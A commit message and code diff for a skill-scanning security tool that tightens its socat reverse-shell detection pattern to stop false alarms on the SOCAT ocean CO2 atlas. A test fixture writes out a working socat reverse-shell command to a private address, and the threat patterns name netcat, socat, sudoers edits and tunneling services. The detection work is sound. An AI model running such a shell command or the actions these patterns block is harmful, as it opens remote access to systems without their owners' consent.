fix(skills-guard): socat only flags a reverse shell when an address spec follows

`\bsocat\b` under IGNORECASE matched "SOCAT", the Surface Ocean CO2 Atlas,
in every oceanography skill of a 2,110-file research bundle (17 critical
findings in one file), burying the bundle's real issues under noise. A real
socat relay always names an address type (TCP:/UDP:/OPENSSL:/EXEC:/SYSTEM:/
PTY:/UNIX-…:), so the pattern now requires one on the same line. `nc -l` /
`ncat -l` are unchanged. Scanner version bumped to v5 so cached verdicts
re-scan.

tests/tools/test_skills_guard.py

@@ -169,6 +169,18 @@ class TestScanFile:
         assert findings == []
 
 
+    def test_socat_prose_is_not_a_reverse_shell_but_a_socat_relay_is(self, tmp_path):
+        prose = tmp_path / "ocean.md"
+        prose.write_text(
+            "Load the SOCAT v2023 surface ocean CO2 atlas and merge with the socat cruise index.\n",
+            encoding="utf-8",
+        )
+        assert not any(fi.pattern_id == "reverse_shell" for fi in scan_file(prose, "ocean.md"))
+
+        shell = tmp_path / "shell.sh"
+        shell.write_text("socat TCP:10.0.0.5:4444 EXEC:/bin/bash,pty,stderr\n", encoding="utf-8")
+        assert any(fi.pattern_id == "reverse_shell" for fi in scan_file(shell, "shell.sh"))
+
     def test_detect_gitlab_pat(self, tmp_path):
         f = tmp_path / "leak.md"
         # Concatenated so no contiguous token literal exists in this file

tools/skills_guard.py

@@ -18,7 +18,7 @@ from pathlib import Path
 from typing import List, Tuple
 
 
-SCANNER_VERSION = "skills-guard-v4"
+SCANNER_VERSION = "skills-guard-v5"
 
 # NVIDIA-verified skills each ship a signed `skill.oms.sig` + governance `skill-card.md`.
 TRUSTED_REPOS = {"openai/skills", "anthropics/skills", "huggingface/skills", "NVIDIA/skills"}
@@ -229,7 +229,10 @@ THREAT_PATTERNS = [
     (r'/etc/sudoers|visudo', "sudoers_mod", "critical", "persistence", "modifies sudoers (privilege escalation)"),
     (r'git\s+config\s+--global\s+', "git_config_global", "medium", "persistence", "modifies global git configuration"),
     # ── Network: reverse shells and tunnels ──
-    (r'\bnc\s+-[lp]|ncat\s+-[lp]|\bsocat\b', "reverse_shell", "critical", "network", "potential reverse shell listener"),
+    # socat needs an address spec (TCP:/EXEC:/…): a bare word match hit "SOCAT", the
+    # oceanographic CO2 atlas, across dozens of science skills (all patterns are IGNORECASE).
+    (r'\bnc\s+-[lp]|ncat\s+-[lp]|\bsocat\b[^\n]*\b(?:tcp|udp|openssl|ssl|exec|system|pty|unix)[\w-]*:',
+     "reverse_shell", "critical", "network", "potential reverse shell listener"),
     (r'\bngrok\b|\blocaltunnel\b|\bserveo\b|\bcloudflared\b',
      "tunnel_service", "high", "network", "uses tunneling service for external access"),
     (r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}', "hardcoded_ip_port", "medium", "network", "hardcoded IP address with port"),